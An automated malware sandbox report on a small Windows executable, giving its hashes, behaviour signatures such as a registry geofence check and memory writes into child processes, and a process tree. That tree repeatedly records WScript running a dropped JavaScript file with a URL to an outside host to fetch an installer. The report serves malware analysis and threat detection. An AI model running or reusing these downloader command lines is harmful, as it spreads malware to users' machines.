Analysis
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max time kernel
100s -
max time network
90s -
platform
windows10-2004_x64 -
resource
win10v2004-20240419-en -
resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system -
submitted
26/04/2024, 15:47
Static task
static1
Behavioral task
behavioral1
Sample
011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe
Resource
win10v2004-20240419-en
General
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Target
011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe
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Size
184KB
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MD5
011e4d7b4a4d5c39a8935aceadd77ee4
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SHA1
898480f9dbca5216521bb49768698e924f672284
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SHA256
37c4b5bd6bdb9b9f023aea9488795d375d86545f4addaaa17eef900b9aaceaf9
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SHA512
ab9395a6b0b9725e063cf3ed566def307a23b9342615e409fdfacd2b58f32c5849b4f1d1a34f230f58ae56b0f7835d09b2acfbea2a652775233a695f126fe0d4
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3j:/7BSH8zUB+nGESaaRvoB7FJNndnu
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\Control Panel\International\Geo\Nation 011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000_Classes\Local Settings 011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 4776 wrote to memory of 2988 4776 011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe 85 PID 4776 wrote to memory of 2988 4776 011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe 85 PID 4776 wrote to memory of 2988 4776 011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe 85 PID 4776 wrote to memory of 4164 4776 011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe 89 PID 4776 wrote to memory of 4164 4776 011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe 89 PID 4776 wrote to memory of 4164 4776 011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe 89 PID 4776 wrote to memory of 3580 4776 011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe 95 PID 4776 wrote to memory of 3580 4776 011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe 95 PID 4776 wrote to memory of 3580 4776 011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe 95 PID 4776 wrote to memory of 4112 4776 011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe 98 PID 4776 wrote to memory of 4112 4776 011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe 98 PID 4776 wrote to memory of 4112 4776 011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe 98 PID 4776 wrote to memory of 1864 4776 011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe 99 PID 4776 wrote to memory of 1864 4776 011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe 99 PID 4776 wrote to memory of 1864 4776 011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe 99
Processes
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C:\Users\Admin\AppData\Local\Temp\011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4776 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3623.js" http://www.djapp.info/?domain=tOkSyPAcwS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3623.exe2⤵PID:2988
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3623.js" http://www.djapp.info/?domain=tOkSyPAcwS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3623.exe2⤵PID:4164
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3623.js" http://www.djapp.info/?domain=tOkSyPAcwS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3623.exe2⤵PID:3580
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3623.js" http://www.djapp.info/?domain=tOkSyPAcwS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3623.exe2⤵PID:4112
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3623.js" http://www.djapp.info/?domain=tOkSyPAcwS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3623.exe2⤵PID:1864
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76